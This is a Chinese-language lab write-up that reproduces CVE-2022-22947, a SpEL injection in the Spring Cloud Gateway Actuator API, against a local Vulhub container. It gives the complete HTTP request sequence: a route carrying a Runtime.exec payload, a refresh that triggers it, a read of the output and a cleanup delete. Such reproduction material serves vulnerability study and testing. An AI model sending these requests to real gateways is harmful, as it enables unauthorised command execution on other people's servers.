# Spring Cloud Gateway Actuator API SpEL 表达式注入命令执行 CVE-2022-22947 ## 漏洞描述 Spring Cloud Gateway 是 Spring 中的一个 API 网关。其 3.1.0 及 3.0.6 版本(包含)以前存在一处 SpEL 表达式注入漏洞,当攻击者可以访问 Actuator API 的情况下,将可以利用该漏洞执行任意命令。 参考链接: - https://tanzu.vmware.com/security/cve-2022-22947 - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/ ## 环境搭建 Vulhub 执行如下命令启动一个使用了 Spring Cloud Gateway 3.1.0 的 Web 服务: ``` docker-compose up -d ``` 服务启动后,访问 `http://your-ip:8080` 即可看到演示页面,这个页面的上游就是 example.com。 ![image-20220303205830334](images/202203032058450.png) ## 漏洞复现 利用这个漏洞需要分多步。 首先,发送如下数据包即可添加一个包含恶意 SpEL 表达式的路由: ``` POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 328 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"} }], "uri": "http://example.com", "order": 0 } ``` ![image-20220303210101595](images/202203032101702.png) 然后,发送如下数据包应用刚添加的路由。这个数据包将触发 SpEL 表达式的执行: ``` POST /actuator/gateway/refresh HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ![image-20220303210310706](images/202203032103775.png) 发送如下数据包即可查看执行结果: ``` GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ![image-20220303210439398](images/202203032104469.png) 最后,发送如下数据包清理现场,删除所添加的路由: ``` DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close ``` ![image-20220303210537118](images/202203032105191.png) ## 开源 POC - Xray - https://github.com/chaosec2021/CVE-2022-22947-POC